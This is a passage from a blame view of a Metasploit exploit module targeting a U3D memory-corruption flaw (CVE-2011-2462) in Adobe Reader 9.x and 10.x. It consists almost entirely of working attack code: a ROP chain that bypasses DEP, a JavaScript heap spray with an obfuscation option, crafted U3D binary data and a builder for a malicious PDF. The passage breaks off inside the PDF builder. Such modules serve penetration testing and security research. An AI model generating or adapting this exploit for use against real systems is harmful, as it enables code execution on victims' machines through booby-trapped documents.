Files
metasploit-gs/modules/exploits/windows/fileformat/adobe_reader_u3d.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

650 lines
24 KiB
Ruby
Raw Normal View History

2012-01-04 03:49:49 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-01-04 03:49:49 -06:00
##
require 'zlib'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-01-04 03:49:49 -06:00
Rank = AverageRanking
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
include Msf::Exploit::FILEFORMAT
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the U3D handling within
versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
The vulnerability is due to the use of uninitialized memory.
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
Arbitrary code execution is achieved by embedding specially crafted U3D
data into a PDF document. A heap spray via JavaScript is used in order to
ensure that the memory used by the invalid pointer issue is controlled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Felipe Andres Manzano', #Original poc (@feliam)
2012-01-04 03:49:49 -06:00
'sinn3r',
'juan vazquez',
'jduck'
],
'References' =>
[
[ 'CVE', '2011-2462' ],
[ 'OSVDB', '77529' ],
2012-01-04 03:49:49 -06:00
[ 'BID', '50922' ],
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],
[ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],
[ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], #Original PoC
2012-01-04 03:49:49 -06:00
[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => true
2012-01-04 03:49:49 -06:00
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[
# Adobe Reader 9.4.0 / XP SP3
# Adobe Reader 9.4.5 / XP SP3
# Adobe Reader 9.4.6 / XP SP3
'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',
{
# gadget from icucnv36:
# mov ecx,dword ptr [eax+3Ch]
# mov eax,dword ptr [ecx]
# call dword ptr [eax+1Ch]
'Ret' => 0x4a8453c3
}
],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-12-06', #Needs to be checked
2012-01-04 03:49:49 -06:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
])
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
def junk(n=1)
tmp = []
value = rand_text(4).unpack("L")[0].to_i
n.times { tmp << value }
return tmp
end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
def exploit
# DEP bypass; uses icucnv36.dll
stack_data = [
junk,
0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
0x0c0c0c0c, # becomes esi
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
0x4a8a0000, # becomes edi
0x4a802196, # becomes esi
0x4a801f90, # becomes ebp
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
junk(4),
0x00000000, # becomes edi
0x00000002, # becomes esi
0x00000102, # becomes ebp
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
junk(5),
0x4a80a8a6, # becomes edi
0x4a801f90, # becomes esi
0x4a849038, # becomes ebp
0x4a8063a5, # pop ecx / ret
junk(5),
0x4a8a0000, # becomes ecx
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
0x4a801064, # ret for CreateFileA # ret
0x00000000, # __in LPCTSTR lpFileName
0x10000000, # __in DWORD dwDesiredAccess
0x00000000, # __in DWORD dwShareMode
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes
0x00000002, # __in DWORD dwCreationDisposition
0x00000102, # __in DWORD dwFlagsAndAttributes
0x00000000, # __in_opt HANDLE hTemplateFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax, edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileA)
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
0x4a801064, # ret for CreateFileMappingA # ret
0xffffffff, # __in HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpAttributes,
0x00000040, # __in DWORD flProtect,
0x00000000, # __in DWORD dwMaximumSizeHigh,
0x00010000, # __in DWORD dwMaximumSizeLow,
0x00000000, # __in_opt LPCTSTR lpName
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax, edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
0x4a801064, # ret for MapViewOfFile # ret
0xffffffff, # __in HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}
0x00000022, # __in DWORD dwDesiredAccess
0x00000000, # __in DWORD dwFileOffsetHigh
0x00000000, # __in DWORD dwFileOffsetLow
0x00010000, # __in SIZE_T dwNumberOfBytesToMap
0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax, edi / ret
0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax {Result of MapViewOfFile}
0x4a80a7d8, # mov eax,dword ptr [eax] / ret
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax, edi / ret
0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret
0x4a801f90, # pop eax / ret
0x00000034, # becomes eax # mapped at 0c0c0d8c
0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)
0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret
0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for MSVCR80!memcpy)
0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}
0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile
0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile
0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain
0x00001000 # length (memcpy param)
].flatten.pack('V*')
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
payload_buf = ''
payload_buf << stack_data
payload_buf << payload.encoded
escaped_payload = Rex::Text.to_unescape(payload_buf)
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
eip_ptr =
[
junk(3),
target.ret, # EIP
junk(7),
0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot
junk(16),
].flatten.pack('V*')
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
escaped_eip = Rex::Text.to_unescape(eip_ptr)
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
js = <<-JS
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
function alloc(bytes) {
return padding.substr(0, (bytes - 6) / 2);
}
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
function spray_eip(esc_a) {
pointers_a = unescape(esc_a);
for (i = 0; i < 2000; i++) {
x[i] = alloc(0x8) + pointers_a;
y[i] = alloc(0x88) + pointers_a;
y[i] = alloc(0x88) + pointers_a;
y[i] = alloc(0x88) + pointers_a;
}
};
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
function spray_shellcode() {
bbb = unescape('#{escaped_payload}');
ccc = unescape("%u0c0c");
ccc += ccc;
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
i1 = 0x0c0c - 0x24;
ddd = ccc.substring(0, i1 / 2);
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
ddd += bbb;
ddd += ccc;
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
i2 = 0x4000 + 0xc000;
eee = ddd.substring(0, i2 / 2);
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
for (; eee.length < 0x40000 + 0x40000;) eee += eee;
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
i3 = (0x1020 - 0x08) / 2;
fff = eee.substring(0, 0x80000 - i3);
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
ggg = new Array();
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";
}
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
padding = unescape("#{escaped_eip}");
while (padding.length < 0x10000)
padding = padding + padding;
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
spray_shellcode();
spray_eip('%u4141');
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
this.pageNum = 2;
JS
2013-08-30 16:28:54 -05:00
js = js.gsub(/^ {4}/,'')
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
u3d = make_u3d_stream
xml = make_xml_data
pdf = make_pdf(u3d, xml, js.to_s)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
def make_xml_data
xml = %Q|<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<ed>kapa</ed>
<config xmclns="http://www.microsoft.org/schema/xci/2.6/">
<present>
<pdf>
<version>1</version>
<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>
<interactive>1</interactive>
</pdf>
</present>
</config>
<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet>
</pageSet>
</subform>
</template>
<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet>
</pageSet>
</subform>
</template1>
<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet>
</pageSet>
</subform>
</template2>
</xdp:xdp>|
2013-08-30 16:28:54 -05:00
2013-12-31 11:07:31 -06:00
xml = xml.gsub(/^ {4}/, '')
2012-01-04 03:49:49 -06:00
return xml
end
2013-08-30 16:28:54 -05:00
def u3d_pad(str, char="\x00")
2012-01-04 03:49:49 -06:00
len = str.length % 4
if (len > 0)
#puts "Adding %d pad bytes" % (4 - len)
return (char * (4 - len))
end
""
end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
def u3d_string(str)
([str.length].pack('v') + str)
end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
def make_u3d_stream()
#
# REFERENCE:
# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf
# The File format consists of these blocks:
# [File Header Block][Declaration Block][Continuation Block]
# Each block consists of (padding is used to keep fields 32-bit aligned):
# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]
#
mc_name = u3d_string("CCCCBox01")
mr_name = u3d_string("Box01RX")
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
# build the U3D header (length will be patched in later)
hdr_data = [0,0].pack('n*') # version info
hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
hdr = "U3D\x00"
hdr << [hdr_data.length,0].pack('VV')
hdr << hdr_data
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
parent_node_data =
"\x01\x00\x00\x00"+ # node count (1)
"\x00\x00"+ # name (empty)
# transform matrix
[0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*')
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
model_node_data = ""
model_node_data << mc_name
model_node_data << parent_node_data
model_node_data << mr_name
model_node_data << [1].pack('V') # Model Visibility (Front visible)
model_node = [0xffffff22,model_node_data.length,0].pack('VVV')
#model_node = [0xffffff22,0x5e,0].pack('VVV')
model_node << model_node_data
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
bone_weight_data = ""
bone_weight_data << mc_name
bone_weight_data << [
1, # Chain index
1, # Bone Weight Attributes (for a mesh)
0x3162123b, # Inverse Quant
0x14, # Position Count
].pack('VVNV')
# Position List
bone_weight_data << [
# 1
1, # Bone Weight Count
3, # Bone Index (no Quantized Weight)
# 2
0x55550000, # Bone Weight Count
0x4c1df36e, # Bone Index
2012-01-04 03:49:49 -06:00
0x0200d002, # Quantized Weight
# 3
0x95000074, # Bone Weight Count
0x66ccc357, # Bone Index
0x00000000 # Quantized Weight
].pack('VVNNNNNN')
bone_weight = [0xffffff44,0x3a,0].pack('VVV')
# We hardcode the length to match the old file.. (TODO: test if necessary)
#bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')
bone_weight << bone_weight_data
2013-08-30 16:28:54 -05:00
new_objtype1_data =
2012-01-04 03:49:49 -06:00
"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+
"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+
"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
#new_objtype1 = [0xffffff16,0x38,0].pack('VVV')
new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV')
new_objtype1 << new_objtype1_data
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
shading_modifier_data = ""
shading_modifier_data << mc_name
shading_modifier_data <<
"\x02\x00\x00\x00\x00\x00\x00\x00\x01"+
"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"
#shading_modifier = [0xffffff45,0x23,0].pack('VVV')
shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV')
shading_modifier << shading_modifier_data
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
new_objtype2_data =
"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+
"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+
"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
#new_objtype2 = [0xffffff16,0x30,0].pack('VVV')
new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV')
new_objtype2 << new_objtype2_data
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
nodemod_decl = ""
nodemod_decl << model_node
nodemod_decl << u3d_pad(nodemod_decl)
nodemod_decl << bone_weight
nodemod_decl << u3d_pad(nodemod_decl)
nodemod_decl << new_objtype1
nodemod_decl << u3d_pad(nodemod_decl)
nodemod_decl << shading_modifier
nodemod_decl << u3d_pad(nodemod_decl)
nodemod_decl << new_objtype2
nodemod_decl << u3d_pad(nodemod_decl)
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
nodemod_decl <<
# another modifier chain?
"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+
"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+
"\x00\x00"+
# clod mesh generator (declaration)
"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+
"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+
"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+
"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+
"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+
"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+
"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+
"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
# clod mesh generator (progressive mesh cont)
"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+
"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+
"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+
"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+
"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+
"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+
"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+
"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+
"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+
"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+
"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+
"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+
"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+
"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+
"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+
"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
# build the modifier chain
chain_data = ""
chain_data << mc_name
chain_data << [0].pack('V') # type (node modifier)
chain_data << [0].pack('V') # attributes (no bounding info)
chain_data << u3d_pad(chain_data)
chain_data << [0x5].pack('V') # number of modifiers
chain_data << nodemod_decl
#modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes
modifier_chain = [0xffffff14,0x17c,0].pack('VVV')
modifier_chain << chain_data
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
data = ""
data << hdr
data << modifier_chain
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
data
end
2013-08-30 16:28:54 -05:00
2014-12-12 13:16:21 +01:00
def random_non_ascii_string(count)
2012-01-04 03:49:49 -06:00
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
2013-08-30 16:28:54 -05:00
2014-12-12 13:16:21 +01:00
def io_def(id)
2012-01-04 03:49:49 -06:00
"%d 0 obj\n" % id
end
2013-08-30 16:28:54 -05:00
2014-12-12 13:16:21 +01:00
def io_ref(id)
2012-01-04 03:49:49 -06:00
"%d 0 R" % id
end
2013-08-30 16:28:54 -05:00
2014-12-12 13:16:21 +01:00
def ascii_hex_whitespace_encode(str)
2012-01-04 03:49:49 -06:00
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
def make_pdf(u3d_stream, xml, js_doc)
xref = []
eol = "\x0a"
obj_end = "" << eol << "endobj" << eol
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
# the header
pdf = "%PDF-1.7" << eol
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
# filename/comment
2014-12-12 13:16:21 +01:00
pdf << "%" << random_non_ascii_string(4) << eol
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"
site = rand_text_alpha(5) + ".com"
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(1)
2012-01-04 03:49:49 -06:00
pdf << "<</Author (Fo)/email (#{email})/web (site)>>"
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
compressed_xml = Zlib::Deflate.deflate(xml)
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(2)
2012-01-04 03:49:49 -06:00
pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol
pdf << "stream" << eol
pdf << compressed_xml << eol
pdf << "endstream"
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(3)
pdf << "<</XFA " << io_ref(2) << ">>"
2012-01-04 03:49:49 -06:00
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(4)
pdf << "<</Type/Catalog/Outlines " << io_ref(5)
pdf << " /Pages " << io_ref(6)
pdf << " /OpenAction " << io_ref(14)
pdf << " /AcroForm " << io_ref(3)
2012-01-04 03:49:49 -06:00
pdf << ">>"
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(5) << "<</Type/Outlines/Count 0>>"
2012-01-04 03:49:49 -06:00
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(6)
pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [io_ref(13), io_ref(9), io_ref(12)]
2012-01-04 03:49:49 -06:00
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"
compressed_data = Zlib::Deflate.deflate(data)
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(7)
2012-01-04 03:49:49 -06:00
pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol
pdf << "stream" << eol
